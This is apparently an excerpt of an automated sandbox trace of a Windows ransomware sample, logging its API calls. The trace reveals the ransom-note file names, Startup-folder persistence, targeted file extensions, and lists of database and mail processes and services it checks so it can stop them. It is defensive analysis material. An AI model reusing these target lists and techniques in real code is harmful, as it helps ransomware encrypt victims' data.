	[0151.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e55d8 | out: hHeap=0x5a0000) returned 1
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6238d0, Size=0x20) returned 0x5dd980
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd980, Size=0x40) returned 0x61f318
	[0151.412] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19
	[0151.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x61f318 | out: hHeap=0x5a0000) returned 1
	[0151.412] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623ac8, Size=0x20) returned 0x5dd8b8
	[0151.412] lstrlenW (lpString="Info.hta") returned 8
	[0151.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd8b8 | out: hHeap=0x5a0000) returned 1
	[0151.413] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x64bf70, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe")) returned 0x47
	[0151.413] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64bf70 | out: hHeap=0x5a0000) returned 1
	[0151.413] lstrlenW (lpString="fvppjh.exe") returned 10
	[0151.413] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddb10, Size=0x40) returned 0x61f288
	[0151.414] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623978, Size=0x20) returned 0x5ddb10
	[0151.414] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6238d0, Size=0x20) returned 0x5dd8b8
	[0151.414] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd8b8, Size=0x40) returned 0x61f1b0
	[0151.414] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61f1b0, Size=0x80) returned 0x5e5d48
	[0151.414] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5d48, Size=0x100) returned 0x629f78
	[0151.414] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0151.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x629f78 | out: hHeap=0x5a0000) returned 1
	[0151.414] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x64bf70, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0151.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x65bf78 | out: hHeap=0x5a0000) returned 1
	[0151.414] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64bf70 | out: hHeap=0x5a0000) returned 1
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622c58, Size=0x8) returned 0x622ce8
	[0151.415] lstrlenW (lpString="%windir%;") returned 9
	[0151.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddb10 | out: hHeap=0x5a0000) returned 1
	[0151.415] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0151.415] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f6fb8 | out: hHeap=0x5a0000) returned 1
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6238d0, Size=0x20) returned 0x5dd8b8
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd8b8, Size=0x40) returned 0x61f240
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x61f240, Size=0x80) returned 0x5e5660
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5660, Size=0x100) returned 0x62a188
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622da8, Size=0x8) returned 0x622db8
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622db8, Size=0x10) returned 0x623ae0
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x623ae0, Size=0x20) returned 0x5dda98
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622c38, Size=0x8) returned 0x622d38
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622c58, Size=0x8) returned 0x622cc8
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622cf8, Size=0x8) returned 0x622de8
	[0151.415] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622de8, Size=0x10) returned 0x6250b0
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6250b0, Size=0x20) returned 0x5dd8b8
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622d38, Size=0x10) returned 0x6251d0
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622cc8, Size=0x10) returned 0x6250c8
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622db8, Size=0x8) returned 0x622c58
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622de8, Size=0x8) returned 0x622cb8
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6251d0, Size=0x20) returned 0x5dd930
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6250c8, Size=0x20) returned 0x5dd958
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622c98, Size=0x8) returned 0x622db8
	[0151.416] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0151.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x62a188 | out: hHeap=0x5a0000) returned 1
	[0151.416] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625128, Size=0x20) returned 0x5dd980
	[0151.416] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x5f6fb8, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0151.416] lstrlenW (lpString="C:\\") returned 3
	[0151.416] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0151.416] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5f6fb8 | out: hHeap=0x5a0000) returned 1
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625098
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x80) returned 0x5e5cc0
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625350
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x2) returned 0x622d38
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x622d58
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6251e8
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x80) returned 0x5e5dd0
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6252f0
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x622c98
	[0151.417] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622d38, Size=0x82) returned 0x62ab60
	[0151.417] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x622c98, Size=0x100) returned 0x62a290
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625200
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x82) returned 0x62abf0
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625218
	[0151.417] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x82) returned 0x622e10
	[0151.417] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x62ab60, Size=0x104) returned 0x622ea0
	[0151.418] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x62a290, Size=0x200) returned 0x622fb0
	[0151.418] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x62abf0, Size=0x104) returned 0x625a30
	[0151.418] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5c38, Size=0x100) returned 0x62a188
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622d58 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622fb0 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6252f0 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e5cc0 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625098 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e5dd0 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6251e8 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622ea0 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625350 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625a30 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625200 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622e10 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625218 | out: hHeap=0x5a0000) returned 1
	[0151.419] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622d38
	[0151.419] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625338
	[0151.419] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625338, Size=0x20) returned 0x5dd9f8
	[0151.419] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5dd9f8, Size=0x40) returned 0x61f318
	[0151.419] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625338
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622c78 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625080 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x62aad0 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6251d0 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x62a188 | out: hHeap=0x5a0000) returned 1
	[0151.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6251b8 | out: hHeap=0x5a0000) returned 1
	[0151.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622d28 | out: hHeap=0x5a0000) returned 1
	[0151.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x625068 | out: hHeap=0x5a0000) returned 1
	[0151.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b5730 | out: hHeap=0x5a0000) returned 1
	[0151.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6170 | out: hHeap=0x5a0000) returned 1
	[0151.420] lstrlenW (lpString="%systemdrive%") returned 13
	[0151.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dd980 | out: hHeap=0x5a0000) returned 1
	[0151.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e5880 | out: hHeap=0x5a0000) returned 1
	[0151.420] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622de8 | out: hHeap=0x5a0000) returned 1
	[0151.420] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x2c) returned 0x5bd510
	[0151.420] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x2000) returned 0x625a30
	[0151.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x63bf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0151.421] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5bbaf8*=0x280, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 30
	os_tid = 0xdc8


Thread:
	id = 32
	os_tid = 0xddc

	[0151.301] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x608c58
	[0151.301] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608c58, Size=0x20) returned 0x5ddc28
	[0151.301] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddc28, Size=0x40) returned 0x5b7aa8
	[0151.301] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7aa8, Size=0x80) returned 0x5e5b28
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5b28, Size=0x100) returned 0x629a50
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x608ef8
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608ef8, Size=0x20) returned 0x5ddcc8
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5ddcc8, Size=0x40) returned 0x5b7700
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7700, Size=0x80) returned 0x5e5cc0
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e5cc0, Size=0x100) returned 0x629b58
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x608da8
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de138
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x608d78
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de138, Size=0x8) returned 0x5de118
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b6570
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de118, Size=0x10) returned 0x608e50
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b6690
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5ddb38
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608e50, Size=0x20) returned 0x5ddb88
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1c) returned 0x5dd9a8
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x16) returned 0x5b6710
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1a) returned 0x5ddbb0
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xc) returned 0x608c28
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x4) returned 0x5de0c8
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40) returned 0x5b7700
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de0c8, Size=0x8) returned 0x5de0d8
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x3c) returned 0x5b7988
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5de0d8, Size=0x10) returned 0x608ce8
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x14) returned 0x5b6470
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x18) returned 0x5b6730
	[0151.302] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x608ce8, Size=0x20) returned 0x5ddbd8
	[0151.302] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x5b5700
	[0151.302] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0151.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x629a50 | out: hHeap=0x5a0000) returned 1
	[0151.302] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0151.302] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x629b58 | out: hHeap=0x5a0000) returned 1
	[0151.302] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5dd8b8
	[0151.305] EnumServicesStatusExW (in: hSCManager=0x5dd8b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0151.311] GetLastError () returned 0xea
	[0151.311] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1b78) returned 0x61e6d0
	[0151.311] EnumServicesStatusExW (in: hSCManager=0x5dd8b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61e6d0, cbBufSize=0x1b78, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61e6d0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0151.313] CloseServiceHandle (hSCObject=0x5dd8b8) returned 1
	[0151.315] lstrlenW (lpString="AppXSvc") returned 7
	[0151.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0151.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0151.315] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0151.315] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0151.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0151.315] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0151.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0151.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0151.315] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0151.315] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0151.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0151.315] lstrlenW (lpString="Audiosrv") returned 8
	[0151.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0151.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0151.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0151.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0151.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0151.315] lstrlenW (lpString="BFE") returned 3
	[0151.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0151.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0151.315] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0151.316] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0151.316] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0151.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0151.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0151.316] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0151.316] lstrlenW (lpString="CDPSvc") returned 6
	[0151.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0151.316] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0151.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0151.316] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0151.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0151.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0151.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0151.316] lstrlenW (lpString="CryptSvc") returned 8
	[0151.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0151.316] lstrlenW (lpString="DcomLaunch") returned 10
	[0151.316] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0151.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0151.316] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0151.316] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0151.317] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0151.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0151.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0151.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0151.317] lstrlenW (lpString="Dhcp") returned 4
	[0151.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0151.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0151.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0151.317] lstrlenW (lpString="DmEnrollmentSvc") returned 15
	[0151.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0151.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1
	[0151.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1
	[0151.317] lstrlenW (lpString="Dnscache") returned 8
	[0151.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0151.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0151.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0151.317] lstrlenW (lpString="DPS") returned 3
	[0151.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0151.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0151.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0151.317] lstrlenW (lpString="DusmSvc") returned 7
	[0151.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0151.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0151.317] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0151.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0151.317] lstrlenW (lpString="EventLog") returned 8
	[0151.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0151.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0151.318] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0151.318] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0151.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
